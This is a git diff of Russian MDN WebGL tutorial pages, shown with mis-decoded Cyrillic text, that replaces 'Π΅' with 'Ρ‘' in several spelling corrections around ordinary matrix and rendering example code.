<h2 id="ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ_Π½Π°Π΄_ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Π°ΠΌΠΈ">ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π½Π°Π΄ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Π°ΠΌΠΈ</h2>
<p>ΠžΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π½Π°Π΄ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Π°ΠΌΠΈ достаточно слоТны. Никому Π±Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚Π΅Π»ΠΎΡΡŒ самому ΠΏΠΈΡΠ°Ρ‚ΡŒ вСсь ΠΊΠΎΠ΄ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π½ΠΈΠΌΠΈ. К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, Π΅ΡΡ‚ΡŒ <a class="external" href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> - ΠΎΡ‡Π΅Π½ΡŒ удобная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° для выполнСния ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Π½Π°Π΄ Π²Π΅ΠΊΡ‚ΠΎΡ€Π°ΠΌΠΈ ΠΈ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Π°ΠΌΠΈ, написанная Π½Π° JavaScript.</p>
-<p>Π€Π°ΠΉΠ» <code>glUtils.js</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π½Π° WebGL, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Ρ… Π² сСти ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚. Никто Π½Π΅ Π·Π½Π°Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΡ‚ΠΊΡƒΠ΄Π° ΠΎΠ½ появился. Он просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Sylvester ΠΈ ΠΎΠ½ Π΄Π°ΠΆΠ΅ пополняСтся ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ для построСния ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΌΠ°Ρ‚Ρ€ΠΈΡ†, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹Π²ΠΎΠ΄Π° HTML для ΠΈΡ… отобраТСния.</p>
+<p>Π€Π°ΠΉΠ» <code>glUtils.js</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Π½Π° WebGL, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Ρ… Π² сСти ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚. Никто Π½Π΅ Π·Π½Π°Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΡ‚ΠΊΡƒΠ΄Π° ΠΎΠ½ появился. Он просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Sylvester ΠΈ ΠΎΠ½ Π΄Π°ΠΆΠ΅ пополняСтся ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ для построСния ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΌΠ°Ρ‚Ρ€ΠΈΡ†, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹Π²ΠΎΠ΄Π° HTML для ΠΈΡ… отобраТСния.</p>
-<p>Π’Π°ΠΊΠΆΠ΅, этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ опрСдСляСт нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€ взаимодСйствия с этими Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ для выполнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡. ПояснСния ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ каТдая ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, выходят Π·Π° Ρ€Π°ΠΌΠΊΠΈ этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π½ΠΎ Π² сСти Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² ΠΎΠ± опСрациях Π½Π°Π΄ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Π°ΠΌΠΈ. Π§ΡƒΡ‚ΡŒ {{ anch("Π½ΠΈΠΆΠ΅") }} Π΅ΡΡ‚ΡŒ список Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ· Π½ΠΈΡ….</p>
+<p>Π’Π°ΠΊΠΆΠ΅, этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ опрСдСляСт нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€ взаимодСйствия с этими Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ для выполнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡. ПояснСния ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ каТдая ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, выходят Π·Π° Ρ€Π°ΠΌΠΊΠΈ этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π½ΠΎ Π² сСти Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² ΠΎΠ± опСрациях Π½Π°Π΄ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Π°ΠΌΠΈ. Π§ΡƒΡ‚ΡŒ {{ anch("Π½ΠΈΠΆΠ΅") }} Π΅ΡΡ‚ΡŒ список Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ· Π½ΠΈΡ….</p>
<pre class="brush: js">function loadIdentity() {
mvMatrix = Matrix.I(4);
diff --git a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
index 919d3fccff..af607e92cf 100644
--- a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
<pre class="brush: js">var squareRotation = 0.0;
</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½Π°Π΄ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€ΡƒΒ <code>drawScene()</code>Β ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² Π½Π΅Ρ‘ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π» этот ΡƒΠ³ΠΎΠ» ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π° ΠΏΡ€ΠΈ отрисовкС ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° Π² нашСй сцСнС. ПослС ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ расчСта ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ полоТСния для ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° ΠΌΡ‹ примСняСм условия ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½Π°Π΄ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€ΡƒΒ <code>drawScene()</code>Β ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π² Π½Π΅Ρ‘ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π» этот ΡƒΠ³ΠΎΠ» ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π° ΠΏΡ€ΠΈ отрисовкС ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° Π² нашСй сцСнС. ПослС ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ расчёта ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ полоТСния для ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° ΠΌΡ‹ примСняСм условия ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: js">mvPushMatrix();
mvRotate(squareRotation, [1, 0, 1]);
diff --git a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
index 0684b89016..f9390f7fe2 100644
--- a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
@@ -9,9 +9,9 @@ original_slug: Web/API/WebGL_API/Tutorial/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_3D_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²_Ρ
---
<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ помСстим наш ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ Π² Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠ΅ пространство, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π΅Ρ‰Π΅ 5 Π³Ρ€Π°Π½Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΡƒΠ±. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎ, вмСсто рисования Π²Π΅Ρ€ΡˆΠΈΠ½ нСпосрСдствСнным Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив Π²Π΅Ρ€ΡˆΠΈΠ½ Π² Π²ΠΈΠ΄Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Π²Π΅Ρ€ΡˆΠΈΠ½Ρƒ Π² этой Ρ‚Π°Π±Π»ΠΈΡ†Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ Π³Ρ€Π°Π½ΠΈ, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ помСстим наш ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ Π² Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠ΅ пространство, Π΄ΠΎΠ±Π°Π²ΠΈΠ² Π΅Ρ‰Ρ‘ 5 Π³Ρ€Π°Π½Π΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊΡƒΠ±. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎ, вмСсто рисования Π²Π΅Ρ€ΡˆΠΈΠ½ нСпосрСдствСнным Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив Π²Π΅Ρ€ΡˆΠΈΠ½ Π² Π²ΠΈΠ΄Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Π²Π΅Ρ€ΡˆΠΈΠ½Ρƒ Π² этой Ρ‚Π°Π±Π»ΠΈΡ†Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ Π³Ρ€Π°Π½ΠΈ, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.</p>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ:Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Π³Ρ€Π°Π½ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, Π½ΠΎ каТдая Π²Π΅Ρ€ΡˆΠΈΠ½Π° ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ Ρ‚Ρ€Π΅ΠΌ граням. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ мСньшС Π΄Π°Π½Π½Ρ‹Ρ…, построив список всСх 24-Ρ… Π²Π΅Ρ€ΡˆΠΈΠ½, Π·Π°Ρ‚Π΅ΠΌ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΠ· Π½ΠΈΡ… Π² этом спискС ΠΏΠΎ Π΅Ρ‘ индСксу, вмСсто Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ всС мноТСство Π²Π΅Ρ€ΡˆΠΈΠ½. Если Π²Ρ‹ ΡƒΠ΄ΠΈΠ²Π»Π΅Π½Ρ‹, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹Β 24 Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 8, Ρ‚Π°ΠΊ это ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Ρ€Π΅Π±Ρ€ΠΎ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ Ρ‚Ρ€Π΅ΠΌ граням Ρ€Π°Π·Π½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ², ΠΈ каТдая ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Π°ΡΒ Π²Π΅Ρ€ΡˆΠΈΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ - поэтому ΠΌΡ‹ создадим 3 ΠΊΠΎΠΏΠΈΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ Ρ‚Ρ€Π΅Ρ… Ρ€Π°Π·Π½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ², ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π³Ρ€Π°Π½ΠΈ.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ:Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ Π³Ρ€Π°Π½ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, Π½ΠΎ каТдая Π²Π΅Ρ€ΡˆΠΈΠ½Π° ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ Ρ‚Ρ€Ρ‘ΠΌ граням. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ мСньшС Π΄Π°Π½Π½Ρ‹Ρ…, построив список всСх 24-Ρ… Π²Π΅Ρ€ΡˆΠΈΠ½, Π·Π°Ρ‚Π΅ΠΌ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΠ· Π½ΠΈΡ… Π² этом спискС ΠΏΠΎ Π΅Ρ‘ индСксу, вмСсто Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ всС мноТСство Π²Π΅Ρ€ΡˆΠΈΠ½. Если Π²Ρ‹ ΡƒΠ΄ΠΈΠ²Π»Π΅Π½Ρ‹, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹Β 24 Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 8, Ρ‚Π°ΠΊ это ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Ρ€Π΅Π±Ρ€ΠΎ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ Ρ‚Ρ€Ρ‘ΠΌ граням Ρ€Π°Π·Π½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ², ΠΈ каТдая ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Π°ΡΒ Π²Π΅Ρ€ΡˆΠΈΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ - поэтому ΠΌΡ‹ создадим 3 ΠΊΠΎΠΏΠΈΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ Ρ‚Ρ€Ρ‘Ρ… Ρ€Π°Π·Π½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ², ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π³Ρ€Π°Π½ΠΈ.</p>
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΉ_Π²Π΅Ρ€ΡˆΠΈΠ½_ΠΊΡƒΠ±Π°">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½ ΠΊΡƒΠ±Π°</h2>
diff --git a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
index 0e50af82fa..c42db89750 100644
--- a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
@@ -7,9 +7,9 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
---
<p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
-<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяСт Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ API, основанный Π½Π° <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGLΒ ES</a> 2.0, для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Π±Π΅Π· использования ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ² Π² HTML элСмСнтС <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a> Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‚ Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ. WebGL ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ состоят ΠΈΠ· ΠΊΠΎΠ΄Π° управлСния, написанном Π½Π° JavaScript ΠΈ ΠΊΠΎΠ΄Π° ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… эффСктов (ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСтся Π½Π° графичСском процСссорС. WebGL элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡΠΌΠ΅ΡˆΠ°Π½Ρ‹ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ HTML элСмСнтами ΠΈ собраны с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ частями Π²Π΅Π±-страницы ΠΈΠ»ΠΈ Ρ„ΠΎΠ½ΠΎΠΌ Π²Π΅Π±-страницы.</p>
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяСт Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ API, основанный Π½Π° <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGLΒ ES</a> 2.0, для Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Π±Π΅Π· использования ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ² Π² HTML элСмСнтС <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a> Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‚ Π΅Π³ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ. WebGL ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ состоят ΠΈΠ· ΠΊΠΎΠ΄Π° управлСния, написанном Π½Π° JavaScript ΠΈ ΠΊΠΎΠ΄Π° ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… эффСктов (ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСтся Π½Π° графичСском процСссорС. WebGL элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡΠΌΠ΅ΡˆΠ°Π½Ρ‹ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ HTML элСмСнтами ΠΈ собраны с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ частями Π²Π΅Π±-страницы ΠΈΠ»ΠΈ Ρ„ΠΎΠ½ΠΎΠΌ Π²Π΅Π±-страницы.</p>
